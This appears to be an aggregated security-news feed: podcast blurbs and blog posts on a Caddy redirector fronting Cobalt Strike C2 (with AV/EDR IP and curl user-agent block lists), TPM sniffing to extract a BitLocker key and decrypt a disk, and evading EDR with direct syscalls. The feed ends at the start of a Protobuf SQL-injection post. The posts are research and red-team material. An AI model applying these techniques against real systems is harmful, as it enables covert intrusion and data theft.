🔒
There are new articles available, click to refresh the page.
✇ Infosec Resources

How to begin your own cybersecurity consulting business | Cyber Work Podcast

By: Infosec

On today’s podcast, Kyle McNulty of Secure Ventures talks about interviewing the people behind the most up-and-coming cybersecurity startups. We discuss the best advice he’s received on the show, how to get your own podcast off the ground and his own security startup, ConsultPlace.

– Join the monthly challenge: https://www.infosecinstitute.com/challenge 
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro 
2:40 - Getting into cybersecurity
6:00 - McNulty’s education and career
9:50 - Getting into consulting and startups
14:08 - Secure Ventures podcast
17:45 - Best insight from a podcast guest
20:13 - Startup stories 
22:10 - Startups during COVID
23:42 - Advice for startups
25:22 - How to begin a podcast 
33:25 - Tips for cybersecurity newcomers
35:04 - Upcoming podcasts
36:15 - ConsultPlace work 
38:00 - Find more about McNulty
38:42 - Outro

✇ APT::WTF - APTortellini’s blog

Carrying the Tortellini’s golf sticks

By: ["Her0_IT", "knifesec"]

Giving Caddy redirectors some love

tortellinicaddy

The consultant’s life is a difficult one. New business, new setup and sometimes you gotta do everything in a hurry. We are not a top notch security company with a fully automated infra. We are poor, rookies and always learning from the best.

We started by reading several blogposts that can be found on the net, written by people much more experienced than us, realizing that redirectors are almost always based on apache and nginx, which are great solutions! but we wanted to explore other territories…

just to name a few:

and many others…

despite the posts described above that are seriously top notch level, we decided to proceed taking inspiration from our fellow countryman Marcello aka byt3bl33d3r which came to the rescue!

As you can see from his post, Marcello makes available to us mere mortals a quick configuration, which prompted us to want to deepen the argument

Why Caddy Server ?

Caddy was born as an opensource webserver specifically created to be easy to use and safe. it is written in go and runs on almost every platform.

The added value of Caddy is the automatic system that supports the ability to generate and renew certificates automatically through let’s encrypt with basically no effort at all.

Another important factor is the configurative side that is very easy to understand and more minimalist, just what we need!

Let’s Configure!

1

do you remember byt3bl33d3r’s post listed just above ? (Of course, you wrote it 4 lines higher…) let’s take a cue from it!

First of all let’s install Caddy Server with the following commands:

(We are installing it on a AWS EC2 instance)

sudo yum update
yum install yum-plugin-copr
yum copr enable @caddy/caddy
yum install caddy

Once installed, let’s go under /opt and create a folder named /caddy or whatever you like

And inside create the Caddyfile

At this point let’s populate the/caddy with our own Caddyfile and relative folder structure and configurations

To make things clearer, here we have a tree of the structure we are going to implement:

  1. The actual Caddyfile
  2. The filters folder, which will contain our countermeasures and defensive mechanisms ( wtf are you talking about there is a bunch of crap inside here)
  3. the sites folder, which will contain the domains for our red team operation and relative logfiles
  4. the upstreams folder, which will contain the entire upstreams part
  5. the www folder, which will contain the sites if we want to farm a categorization for our domains, like hosting a custom index.html or simply clone an exsiting one because we are terrible individuals.
.
├── Caddyfile
├── filters
│   ├── allow_ips.caddy
│   ├── bad_ips.caddy
│   ├── bad_ua.caddy
│   └── headers_standard.caddy
├── sites
│   ├── cdn.aptortellini.cloud.caddy
│   └── logs
│       └── cdn.aptortellini.cloud.log 
├── upstreams
│   ├── cobalt_proxy_upstreams.caddy
│   └── reverse_proxy
│       └── cobalt.caddy
└── www
    └── cdn.aptortellini.cloud
        └── index.html

CADDYFILE

This is the default configuration file for Caddy

# This are the default ports which instruct caddy to respond where all other configuration are not matched
:80, :443 {
	# Default security headers and custom header to mislead fingerprinting
    header {
        import filters/headers_standard.caddy
    }
	# Just respond "OK" in the body and put the http status code 200 (change this as you desire)
    respond "OK" 200
}

#Import all upstreams configuration files (only with .caddy extension)
import upstreams/*.caddy

#Import all sites configuration files (only with .caddy extension)
import sites/*.caddy

2

We decided to keep the Caddyfile as clean as possible, spending some more time structuring and modulating the .caddy files

FILTERS folder

This folder contain all basic configuration for the web server, for example:

  • list of IP to block
  • list of User Agents (UA) to block
  • default implementation of security headers
bad_ips.caddy
remote_ip mal.ici.ous.ips

Still incomplete but usable list we crafted can be found here: https://github.com/her0ness/av-edr-urls/blob/main/AV-EDR-Netblocks

bad_ua.caddy

This will block all User-Agent we don’t want to visit our domain.

header User-Agent curl*
header User-Agent *bot*

A very well done bad_ua list can be found, for example, here: https://github.com/mitchellkrogza/nginx-ultimate-bad-bot-blocker/blob/master/_generator_lists/bad-user-agents.list

headers_standard.caddy
# Add a custom fingerprint signature
Server "Apache/2.4.50 (Unix) OpenSSL/1.1.1d"

X-Robots-Tag "noindex, nofollow, nosnippet, noarchive"
X-Content-Type-Options "nosniff"

# disable FLoC tracking
Permissions-Policy interest-cohort=()

# enable HSTS
Strict-Transport-Security max-age=31536000;

# disable clients from sniffing the media type
X-Content-Type-Options nosniff

# clickjacking protection
X-Frame-Options DENY

# keep referrer data off of HTTP connections
Referrer-Policy no-referrer-when-downgrade

# Do not allow to cache the response
Cache-Control no-cache

We decided to hardly customize the response Server header to mislead any detection based on response headers.

SITES folder

You may see this folder similar to sites-available and sites-enabled in nginx; where you store the whole host configuration.

Example front-end redirector (cdn.aptortellini.cloud.caddy)

From our experience ( false, we are rookies) this file should contain a single host because we have decided to uniquely identify each individual host, but feel free to add as many as you want, You messy!

https://cdn.aptortellini.cloud {

	# Import the proxy upstream for the cobalt beacon
    import cobalt_proxy_upstream

    # Default security headers and custom header to mislead fingerprinting
    header {
            import ../filters/headers_standard.caddy
    }
	
	# Put caddy logs to a specified location
    log {
	    output file sites/logs/cdn.aptortellini.cloud.log
	    format console
	}
		
	# Define the root folder for the content of the website if you want to serve one
	root * www/cdn.aptortellini.cloud
    file_server
}

UPSTREAMS folder

the file contains the entire upstream part, the inner part of the reverse proxy has been voluntarily detached because it often requires individual ad-hoc configurations

cobalt_proxy_upstreams

Handle Directive: Evaluates a group of directives mutually exclusively from other handle blocks at the same level of nesting.

The handle directive is kind of similar to the location directive from nginx config: the first matching handle block will be evaluated. Handle blocks can be nested if needed.

To make things more comprehensive, here we have the sample of http-get block adopted in the Cobalt Strike malleable profile:

3

# Just a fancy name
(cobalt_proxy_upstream) {
    
	# This directive instruct caddy to handle only request which begins with /ms/ (http-get block config pre-defined in the malleable profile for testing purposes)
    handle /ms/* {
       
	    # This is our list of User Agents we want to block
		@ua_denylist {
			import ../filters/bad_ua.caddy
		}

		# This is our list of IPs we want to block
		@ip_denylist {
			import ../filters/bad_ips.caddy
		}

		header {
			import ../filters/headers_standard.caddy
		}

		# Respond 403 to blocked User-Agents
		route @ip_denylist {

             redir https://cultofthepartyparrot.com/ #redir to another site like, for example, an external supplier site which provides services for the company you are targeting ( sneaky move I know..)
        }

		
		# Respond 403 to blocked IPs
		route @ip_denylist {

             redir https://cultofthepartyparrot.com/ #redir to another site like, for example, an external supplier website which provides services for the company you are targeting ( sneaky move I know..) 
        }

	 	# Reverse proxy to our cobalt strike server on port 443 https
    	import reverse_proxy/cobalt.caddy
	}
}

REVERSE PROXY folder

The reverse proxy directly instruct the https stream connection to forward the request to the teamserver if the rules above are respected.

Cobalt Strike redirector to HTTPS endpoint

reverse_proxy https://<cobalt_strike_endpoint> {
    
	# This directive put the original X-Forwarded-for header value in the upstream X-Forwarded-For header, you need to use this configuration for example if you are behind cloudfront in order to obtain the correct external ip of the machine you just compromised
    header_up X-Forwarded-For {http.request.header.X-Forwarded-For}
	
	# Standard reverse proxy upstream headers
	header_up Host {upstream_hostport}
    header_up X-Forwarded-Host {host}
    header_up X-Forwarded-Port {port}
    
	# Caddy will not check for SSL certificate to be valid if we are defining the <cobalt_strike_endpoint> with an ip address instead of a domain
	transport http {
        tls
        tls_insecure_skip_verify
    }
}

WWW

This folder is reserved if you want to put a website in here and manually categorize it

Or..

take a cue from those who do things better than we do:

https://github.com/mdsecactivebreach/Chameleon

Starting Caddy

Once started, caddy will automatically obtain the SSL certificate. Remember to start Caddy in the same folder where you placed your Caddyfile!

sudo caddy start

4

To reload the configuration, you can just run the following command in the root configuration folder of Caddy

sudo caddy reload

Getting a CS Beacon

Everything worked as expected and the beacon is obtained

5

A final thought

This blogpost is just the beginning of a series focused on making infrastructures for offensive security purposes, in the upcoming months we will expand the section with additional components.

With this we just wanted to try something we never tried before, and we know there are multiple ways to expand the configuration or make it even better, so, if you are not satisfied with what we just wrote, feel free to offend us: we won’t take it personally, promise.

✇ Infosec Resources

How to disrupt ransomware and cybercrime groups | Cyber Work Podcast

By: Infosec

On today’s podcast, Adam Flatley of Redacted talks about 14 years spent with the NSA and working in global intelligence. He also delineates the process of disrupting ransomware and cybercrime groups by dismantling organizations, putting on pressure and making the crime of ransomware more trouble than it’s worth!

– Join the monthly challenge: https://www.infosecinstitute.com/challenge  
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro 
3:13 - Getting into cybersecurity 
4:27 - Why work for the DoD?
6:37 - Average work day in threat intelligence
9:28 - Main security threats today
11:53 - Issues cybersecurity is ignoring
16:12 - Disrupting ransomware offensively 
23:00 - How to handle ransomware 
25:07 - How do I fight cybercriminals 
27:15 - How to convey self learning on a resume
28:24 - Security recommendations for your company 
31:40 - Logistics of changing security 
34:40 - Cybercrime in five years
36:57 - Learn about Redacted
39:18 - Learn more about Adam
40:00 - Outro

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

✇ Sec Team Blog

TPM sniffing

By: Julien Oberson

TL;DR: we reproduced Denis Andzakovic’s proof-of-concept showing that it is possible to read and write data from a BitLocker-protected device (for instance, a stolen laptop) by sniffing the TPM key from the LCP bus.

Authors: Thomas Dewaele & Julien Oberson

Special thanks to Denis Andzakovic for his proof-of-concept and Joe Grand (@joegrand) for his hardware hacking teachings at Insomni’hack 2018.

Theory

Bitlocker is the Full Disk Encryption (FDE) solution offered by Microsoft for its Windows operating systems starting with Windows Vista to protect users’ data at rest. The solution offers various configurations including several ways to store the decryption key. The most common configuration consists in storing the Volume Master Key (VMK) within the Trusted Platform Module (TPM) that is embedded in recent computers.

This setup is interesting because the decryption is completely transparent to the user. This benefit surpasses others since many companies are reluctant to configure an additional password/PIN for the user to boot its computer. The downside is that it opens the door to several attacks including the TPM sniffing described in this post but also DMA or Cold Boot attacks.

Under the hood, the TPM checks various system properties during the startup to ensure that the boot sequence has not been altered. If the validation succeeds, the VMK is released and transmitted to the CPU which could start to decrypt the disk and to load the operating system.

Depending on the hardware, the TPM can be connected to the motherboard with several communication channels including LPC, I2C or SPI. These buses share a common property, namely a low transmission speed (the clock is generally around 25Mhz). This is not an issue for the solution because only a limited quantity of data has to be transmitted but it makes channel sniffing easier since required hardware is inexpensive.

Finding the TPM

The first step to perform this attack is to locate the right place to probe. Of course, the location varies depending on each motherboard. In our case, the test subject was a Lenovo ThinkPad L440.

The best way to find the communication bus is if you can obtain the motherboard schematics, but we could only find one website that had the schematics for the L440, and it seemed a bit dodgy.

Paying for motherboard schematics via Western Union: seems legit.

Instead, we decided to go the manual way and started our journey by locating the TPM chip. These chips usually come in TSSOP28 or VQFN32 packages. We found a TSSOP28 chip labeled P24JPVSP under the trackpad and Google seemed to indicate that it is related to TPM:

TPM chip (bottom-right) and debug pads (top-left).

As evidenced by the logo, the chip is made by ST Microelectronics, but the reference P24JPVSP was not found on st.com. After some educated guesses and some more Google searches, we arrived to the conclusion that it is probably equivalent to the ST33TPM12LPC chip which relies on LPC for communications. Here is the pinout from the data sheet:

ST33TPM12LPC pinout.

In order to retrieve the LPC frames, we need to probe the following 6 signals (+ ground):

Descriptions of the required signals to decode LPC frames.
  • LAD0, LAD1, LAD2 and LAD3 are the 4 bits bus where data is actually exchanged to and from the chip
  • The frame signal is used to indicate when individual LPC frames start or end
  • The clock signal is just a cyclic tic at a constant frequency (in our case 25 MHz) that is used to synchronize all the other signals

Now, if (1) you have the correct equipment and (2) you’re confident in your micro-soldering skills, you can solder wires directly on these pins to attach the probes, but the space between each pin is only 0.65 millimeters (for our metrically impaired readers, this is 0.4 millionths of a mile). We did not meet several of these two requirements.

Fortunately, it is not uncommon to find more convenient places on the board that are connected to these pins. As you can see in the picture above, there are 6 pads directly next to the chip, and you can follow the traces to get the following pinout:

  1        2        3        4        5        6
LAD0     LAD1    LFRAME    LAD2     LAD3     LRESET

Unfortunately, the LCLK signal is missing! It seems that the trace going to this pin is coming from the other side of the motherboard. On the bottom side, this is located under the WiFi module, and it was initially covered by black tape:

Surprise! The LPC debug pads were trying to hide, but we caught them by surprise (hence the blurry picture).

We were happy to discover these (relatively) big LPC debug pads, meaning that not only we should have an easier time soldering probes there, but also we can perform the attack by just removing the bottom panel without the need to disassemble the whole laptop and keyboard assembly.

Using a multimeter in continuity mode, we determined the pinout of these pads (which was a bit acrobatic since the chip is on the other side of the board). Unfortunately, we were still missing LCLK, and one of the pads did not seem to be connected to anything. We thought that this was too big a coincidence and surely this unknown pad was actually LCLK, except the circuit is going through some resistors between the pad and the pin.

At this point, we could have probably YOLO’ed it and hoped that our assumption was correct, but we thought that we would actually try to purchase the motherboard schematics from the strange website mentioned at the beginning.

We paid the $20 over PayPal, fully expecting to get scammed, but 15 minutes later, we received an email from a GMail address with some .rar archives containing the BoardView file and software. Naturally, we opened the archives and ran the software on our production domain controller, and it was actually legit! We could confirm that the mystery debug pad was indeed the LPC clock going through some resistors and through a BGA mounted chip (we would have had a tough time doing continuity tests under there!)

Retracing the LCLK signal back to the LPC debug pads.

Below is the pinout of the LPC debug pads, and we finally have all the required signals. We also noticed, thanks to the schematics, that the clock signal path from the chip to the debug pad was not complete and we had to create a soldering bridge to link them (cf. resistor R1806).

LCLK signal on the LPC debug pads and position of the bridge (R1806).
Soldering bridge to link the clock signal between the chip and the debug pad.

Hooking up a sniffer

After finding the best location to probe, we soldered some wires to the LPC debug pads in order to easily hook the sniffer.

From left to right: LDA[0:3], LFRAME, LCLK, and ground.

We started by connecting a MSO 19.2 logical analyzer in order to observe the traffic. According to the manufacturer’s data sheet, the LA buffer is not large enough to capture the whole starting sequence so the device was only used to verify that data were properly retrieved. By doing so, we were able to confirm that the signal shape matched LPC traffic.

LPC trace with CLK signal in white, FRAME signal in red and DATA[0:3] on channels 3,4,5,6.

In order to circumvent the buffer limitation, we used an FPGA-based device produced by Lattice Semiconductor namely the iCEstick40. This is the same hardware that Denis Andzakovic used for the TPM 2.0 sniffing attempt (except ours is enclosed in a fancy-home-3D-printed box!)

We connected the sniffer according to the pinout specified in the LPC sniffer Github repository using probe clamps to the previously soldered wires. The clamps ensured a good connection with the soldered wires but the connection to the sniffer module was less reliable. In order to reduce movements and therefore limit contact issues, the plugs were tightened by compressing the lower part of the metal connector.

Sniffer hooking using probe clamps (1).
Sniffer hooking using probe clamps (2).
Probe connections to the sniffer; Close-up on the box.
VCC 3.3|NC 1
GND        2
lpc_clock  3
lpc_ad[0]  4
lpc_ad[1]  5
lpc_ad[2]  6
lpc_ad[3]  7
lpc_frame  8
lpc_reset  9

Data acquisition

The data acquisition was performed using a modified version of the LPC Sniffer. The firmware was modified by Denis Andzakovic to save buffer storage and therefore delay overflow by only recording TPM-related addresses 0x00000024.

After flashing the device, the read_serial.py python script can be used to retrieve the LPC frames. The following command is executed on the sniffing computer, then the target laptop was turned on in order to let the TPM check PCR registers, release the VMK and transmit it over the LPC bus.

As depicted in the output below, only the frames that starts with 24 are recorded in the output log file.

$ sudo python3 parse/read_serial.py /dev/ttyUSB1 | tee log1
[snip]
b'000000240000'
b'000000240000'
b'000000242c00'
b'000000240000'
b'000000240000'
b'000000240000'
b'000000240100'
b'000000240000'
b'000000240000'
b'000000240000'
b'000000240300'
b'000000242000'
b'000000240000'
b'000000240000'
b'000000245a00'
b'00000024f900'
b'000000244900'
b'000000240900'
b'000000241600'
b'000000240100'
b'000000243a00'
b'000000240b00'
[snip]

Once the boot sequence is completed the script is stopped. The collected data were processed to remove the frame header and only keep the actual data. Then the grep command is used to extract the VMK header followed by the key (32 following hexadecimal characters) as shown below.

$ cut -f 2 -d\' log6 | grep '24..00$' | perl -pe 's/.{8}(..)..\n/$1/' | grep -Po "2c0000000100000003200000(..){32}"
2c00000001000000032000005af9490916013a0bc177b3301d41508c4af8abb8583de5e4c60bbbabafad8a3a

The key values observed on the bus were not exactly the same every time. This behavior is probably related to the sniffer connection which is far from perfect even after the socket tightening session. As the transmission errors occur randomly, it was relatively easy to identify them by comparing multiple measurements. The table below illustrates the values obtained during four boots.

Multiple sniffed data comparison and final key in the right column.

Disk decryption

With the decryption key in hand, it was possible to decrypt the local disk thanks to dislocker. The last version of the tool at the time of writing is 0.7.2 and it supports the --vmk option which allows to directly specify the VMK without having to reconstruct the FVEK. The VMK has to be placed in a binary file as shown below.

$ hexdump -C vmk
00000000  5a f9 49 09 16 01 3a 0b  c1 27 b3 30 1d 41 50 8c  
00000010  4a f8 ab b8 58 3d e5 e4  c6 0b bb ab cf ad 8a 3a
$ sudo dislocker -v -V /dev/sdb3 --vmk vmk -- /media/bl
$ sudo mount -o ro,loop /media/bl/dislocker-file /media/blm
$ ls /media/blm
'$RECYCLE.BIN'             ESD            pagefile.sys    'Program Files (x86)'         Users
'$SysReset'                hiberfil.sys   PerfLogs         Recovery                     Windows
 Chocolatey                install        ProgramData      swapfile.sys
'Documents and Settings'   Intel         'Program Files'  'System Volume Information'

At this point it would be possible to circumvent completely the Bitlocker protection and typically :

  • access and tamper any stored file;
  • steal the local password database including;
    • local accounts in the SAM hive
    • the last ten domain connected users thanks to MSCACHE
  • backdoor the machine with a malware

Conclusion

To summarize, we were able to retrieve the Bitlocker key in a couple of days with a 49$ FPGA module by only using tools available in DIY stores and, cherry on the cake, without breaking the computer. The operation was easier than expected especially considering it was our first hardware attack and that many companies rely on a TPM-only configuration.

Of course none of this would have been possible (at least not in such a short time) without the work of many other security researchers that discovered the issue, wrote papers and published their tools.

The motherboard schematics was a great help in finding the mapping of the debug pads. It is, however, important to highlight that better soldering skills would have allowed attaching connections directly on the TPM chip itself thus making unnecessary to trace the connections.

Recommendation

In order to avoid being targeted by the TPM sniffing attack, the easiest way would be to configure Bitlocker to use an additional pre-boot authentication factor like a PIN. Some other factors like USB devices or smartcards would also work but are generally considered less convenient for the user. Of course this configuration change implies that users would have to enter an additional piece of information when to computer boots.

The recently released Windows 11 OS requires the use of a TPM 2.0 chip which was designed to offer encrypted communications. This prerequisite might open the door to a proper way of securing the transmission without requiring the user from adding a second authentication factor. Note, however, that this change would technically prevent TPM sniffing but not other physical attacks.

Additional details regarding Bitlocker countermeasures can also be found on a dedicated Microsoft post.

Resources

✇ Infosec Resources

How to become a cyber threat researcher | Cyber Work Podcast

By: Infosec

On today’s podcast, John Bambenek of Netenrich and Bambenek Consulting talks about threat research, intelligence analytics, why the same security problems are so evergreen and the importance of pitching in a little extra bit of your time and talents to make the world a bit better than you found it.

– Join the monthly challenge: https://www.infosecinstitute.com/challenge
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro 
2:45 - Getting into cybersecurity 
9:40 - Threat researcher versus security researcher and threat analyst
12:05 - How to get into a research or analyst role
16:32 - Unusual types of malware
19:03 - An ideal work day
23:06 - Current main threat actors
28:50 - What cybersecurity isn’t addressing
31:38 - Where can I volunteer?
36:02 - Skills needed for threat researchers
40:53 - Adjacent careers to threat research
45:11 - Threat research in five years
48:55 - Bambenek Consulting 
49:35 - Learn more about Bambenek
50:26 - Outro

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

✇ Infosec Resources

How to become a great cybersecurity leader and manager | Cyber Work Podcast

By: Infosec

On today’s podcast, Cicero Chimbanda, Infosec Skills author and lecturer, discusses his cybersecurity leadership and management courses. We discuss the many paths of a cybersecurity leadership role, the soft skills that separate a good information security manager from a great one and why a baseline of cybersecurity knowledge can enhance any job, even if you don’t plan to pivot into the industry.

– Join the monthly challenge: https://www.infosecinstitute.com/challenge
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro 
3:37 - Getting into cybersecurity 
6:43 - First learning cybersecurity
7:54 - Skills needed to move up 
10:41 - CISM certification
13:00 - Two tracks of technology
15:13 - Are certifications important?
18:50 - Work as a college lecturer 
22:43 - Important cybersecurity soft skills
27:40 - Cybersecurity leadership and management 
32:33 - Where to go after security leadership 
35:26 - Soft skills for cybersecurity managers
37:23 - Benefits to skills-based education
39:40 - Tips for lifelong learning
43:46 - Cybersecurity education’s future
45:21 - Outro  

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

✇ Stories by Omri Baso on Medium

This is how I bypassed almost every EDR!

By: Omri Baso

First of all, let me introduce myself, my name is Omri Baso, I’m 24 years old from Israel and I’m a red teamer and a security researcher, today I will walk you guys through the process of my learning experience about EDRs, and Low-level programming which I have been doing in the last 3 months.

1. Windows API Hooking

One of the major things EDRs are using in order to detect and flag malicious processes on windows, are ntdll.dll API hooking, what does it mean? it means that the injected DLL of the EDR will inject opcodes that will make the program flow of execution be redirected into his own functions, for example when reading a file on windows you will probably use NtReadFile, when your CPU will read the memory of NTDLL.dll and get the NtReadFile function, your CPU will have a little surprise which will tell it to “jump” to another function right as it enters the ntdll original function, then the EDR will analyze what your process is trying to read by inspecting the parameters sent to the NtReadFile function, if valid, the execution flow will go back to the original NtReadFile function.

1.1 Windows API Hooking bypass

First of all, I am sure that there are people smarter than me who invented other techniques, but now I will teach you the one that worked for me.

Direct System Calls:

Direct system calls are basically a way to directly call the windows user-mode APIs using assembly or by accessing a manually loaded ntdll.dll (Manual DLL mapping), In this article, I will NOT be teaching how to manually map a DLL.

The method we are going to use is assembly compiled inside our binary which will act as the windows API.

The windows syscalls are pretty simple, here is a small example of NtCreateFile:

First line: the first line moves into the rax register the syscall number
Second line: moves the rcx register into the r10, since the syscall instruction destroys the rcx register, we use the r10 to save the variables being sent into the syscall function.
Third line: pretty self explanatory, calls the syscall number which is saved at the rax register.
Foruth line: ret, return the execution flow back to the place the syscalls function was called from.

now after we know how to manually invoke system calls, how do we define them in our program? simple, we declare them in a header file.

The example above shows the parameters being passed into the function NtCreateFile when it is called, as you can tell I placed the EXTERN_Csymbol before the function definition in order to tell the linker that the function is found elsewhere.

before compiling our executable we got to make the following steps, right-click on our project and perform the following:

Now enable masm:

Now we must edit our asm Item type to Microsoft Macro Assembler

With all of that out of the way, we include our header file in our main.cpp file and now we can use NtCreateFile directly! amazing, using the action we just did EDRs will not be able to see the actions we do when using the NtCreateFile function we created by using their user-mode hooks!

What if I don’t know how to invoke the NtAPI?

Well… to be honest, I did encounter this, my solution was simple, I did the same thing we just did for NtCreateFile for NtCreateUserProcess — BUT, I hooked the original NtCreateUserProcess using my own hook, and when it was called I redirect the execution flow back to my assembly function with all of the parameters that were generated by CreateProcesW which is pretty well documented and easy to use, therefore I avoided EDRs inspecting what I do when I use the NtCreateUserProcess syscall.

How can I hook APIs myself?

This is pretty simple as well, for that you need to use the following syscalls.

NtReadVirtualMemory, NtWriteVirtualMemory, and NtProtectVirtualMemory, with these syscalls combined we can install hooks into our process silently without the EDR noticing our actions. since I already explained how to Invoke syscalls I will leave you to research a little bit with google on how to identify the right syscall you want to use ;-) — for now, I will just show an example of an x64 bit hook on ntdll.dll!NtReadFile

In the above example we can see the opcodes for mov rax, <Hooking function>; jmp rax.

these opcodes are being written to the start of NtReadFile which means when our program will try to use NtReadFile it will be forced to jump onto our arbitrary function.

It is important to note, since ntdll.dll by default has only read and execute permissions we must also add a write permission to that sections of memory in order to write our hook there.

1.2 Windows API Hooking bypass — making our code portable

In order to maintain our code portable, we must match our code to any Windows OS build… well even though it sounds hard, It is really not that difficult.

In this section, I will show you a POC code to get the Windows OS build number, use that with caution, and improve the code later on after finishing the article and combine everything you learned here(If you finish the article you will have the tools in mind to do so).

The windows build number is stored at the — SOFTWARE\Microsoft\Windows NT\CurrentVersion registry key, using this knowledge we will extract its value from the registry and store it in a static global variable.

after that we need to also create a global static variable that will store the last syscall that was called, this variable will have to be changed each time we call a syscall, this gives us the following code.

In order to dynamically get the syscall number, we need to somehow get it to store itself at the RAX register, for that we will create the following function.

As you can see in the example above, our function has a map dictionary that has a key, value based on the build number, and returns the right syscall number based on the currently running Windows OS build.

But how am I going to store the return value at the RAX dynamically?

Well, usually the return value of every function is stored at the RAX register once it runs, which means if you execute the following assembly code: call GetBuildNumberthe return value of the function will be stored at the RAX register, resulting in our wanted scenario.

BUT wait, it is not that easy, assembly can be annoying sometimes. each time we invoke a function call, from inside another function, the second function will run over the rcx, rdx, r8,r9 registers, resulting in the loss of the parameters that were sent to the first function, therefore we need to store the previous values in the stack, and restore them later on after we finish the GetBuildNumber function, this can be achieved with the following code

As you can see again, we tell the linker that the GetBuildNumber is an external function since it lives within our CPP code.

2. Imported native APIs — PEB and TEB explained.

Well if you think using direct syscalls will solve everything for you, you are a little bit mistaken, EDRs can also see which Native Windows APIs you are using such as GetModuleHandleW, GetProcAddress, and more, In order to overcome this issue we first MUST understand how to use theses functions without using these native APIs directly, here comes to our aid the PEB, the PEB is the Process Environment Block, which is contained inside the TEB, which is the Thread Environment Block, the PEB is always being located at the offset of 0x060 after the TEB (at x64 bit systems).

In the Windows OS, the TEB location is always being stored at the GS register, therefore we can easily find the PEB at the offset location of gs:[60h].

Let us go and follow the following screenshots in order to see in our own eyes how these offsets can be calculated.

this can be inspected using WinDbg using the command dt ntdll!_TEB

As we can see in the following screenshot at the offset of 0x060 we find the PEB structure, going further down our investigation we can find the Ldr in the PEB using the following command dt ntdll!_PEB

In the screenshot above we can see the Ldr is also located at 0x018 offset, the PEB LDR data contains another element that stores information about the loaded DLLs, let’s continue our exploration.

After going down further we see that at the Offset of 0x010 we find the module list (DLL) which will be loaded, using all of that knowledge we can now create a C++ code to get the base address of ntdll WITHOUT using GetModuleHandleW, but first, we must know what we are looking for in that list.

In the screenshot above we can see we are interested in two elements in the _LDR_DATA_TABLE_ENTRY structure, these elements are the BaseDllName, and the DllBase, as we can see the DllBase holds a void Pointer to the Dll base address, and the BaseDllName is a UNICODE_STRING structure, which means in order to read what is in the UNICODE_STRING we will need to access its Buffervalue.

This can also be simply be examined by looking at the UNICODE_STRING typedef at MSDN

Using everything we have learned so far we will create and use the following code in order to obtain a handle on the ntdll — dll.

After we gained a handle on our desired DLL, which is the ntdll.dll we must find the offset of its APIs(NtReadFile and etc.), this can also be achieved by mapping the sections from the DllBase address as an IMAGE, this can be done and achieved using the following code

After we got our functions ready, let’s do a little POC to see that we can actually get a handle on a DLL and find exported functions inside it.

Using the simple program we made above, we can see that we obtained a handle on the ntdll.dll. and found functions inside it successfully!

3. Summing things up

So we learned how to manually get a handle on a loaded module and use its functions, we learned how to hook windows syscalls, and we learned how to actually write our own using assembly.

combining all of our knowledge, we now can practically use everything we want, under the radar, evading the EDR big eyes, even install hooks on ntdll.dll using the PEB without using GetModuleHandleW, and without using any native windows API such as WriteProcessMemory, since we can execute the same actions using our own assembly, I will now leave you guys to modify the hooking code that I showed you before, with our PEB trick that we learned In this article ;-)

And that’s my friends, how I bypassed almost every EDR.

✇ Infosec Resources

Cybersecurity collaboration, team building and working as CEO | Cyber Work Podcast

By: Infosec

On today’s podcast, Secureworks president and CEO Wendy Thomas talks about the company’s drive to provide innovative, best-in-class security solutions that sit at the heart of customers’ security operations. Thomas shares over 25 years of experience in strategic and functional leadership roles, including work as a chief financial officer, chief product officer and VP of strategy. Thomas has worked across multiple technology-driven companies and has a wealth of knowledge.

– Join the monthly challenge: https://www.infosecinstitute.com/challenge 
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro
3:18 - Wendy’s origin in cybersecurity
5:13 - Climbing the career ladder
8:10 - Average day as CEO
10:38 - Collaboration in cybersecurity
13:07 - Roadblocks in collaboration 
15:03 - Strategies to encourage collaboration
17:53 - Is there collaboration now? 
19:30 - Solving technology security gaps
21:35 - Limiting incident response noise
23:10 - Addressing the skills shortage
25:07 - Women in cybersecurity
30:45 - Developing your team
32:53 - Advice for those entering cybersecurity
34:18 - Outro

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

✇ APT::WTF - APTortellini’s blog

Tortellini in Brodobuf

By: ["Oblio", "MrSaighnal"]

brodobuf

TL;DR

Many developers believe that serializing traffic makes a web application more secure, as well as faster. That would be easy, right? The truth is that security implications remain if the backend code does not adopt adequate defensive measures, regardless of how data is exchanged between the client and server. In this article we will show you how the serialization can’t stop an attacker if the web application is vulnerable at the root. During our activity the application was vulnerable to SQL injection, we will show how to exploit it in case the communications are serialized with Protocol Buffer and how to write a SQLMap tamper for it.

Introduction

Hello friends… Hello friends… Here is 0blio and MrSaighnal, we didn’t want to leave all the space to our brother last, so we decided to do some hacking. During an activity on a web application we tripped over a weird target behavior, in fact during HTTP interception the data appeared encoded in base64, but after decoding the response, we noticed the data was in a binary format. Thanks to some information leakage (and also by taking a look at the application/grpc header) we understood the application used a Protocol buffer (Protobuf) implementation. Looking over the internet we found poor information regarding Protobuf and its exploitation methodology so we decided to document our analysis process here. The penetration testing activity was under NDA so in order to demonstrate the functionality of Protobuf we developed an exploitable web application (APTortellini copyrighted 😊).

Protobuf primer

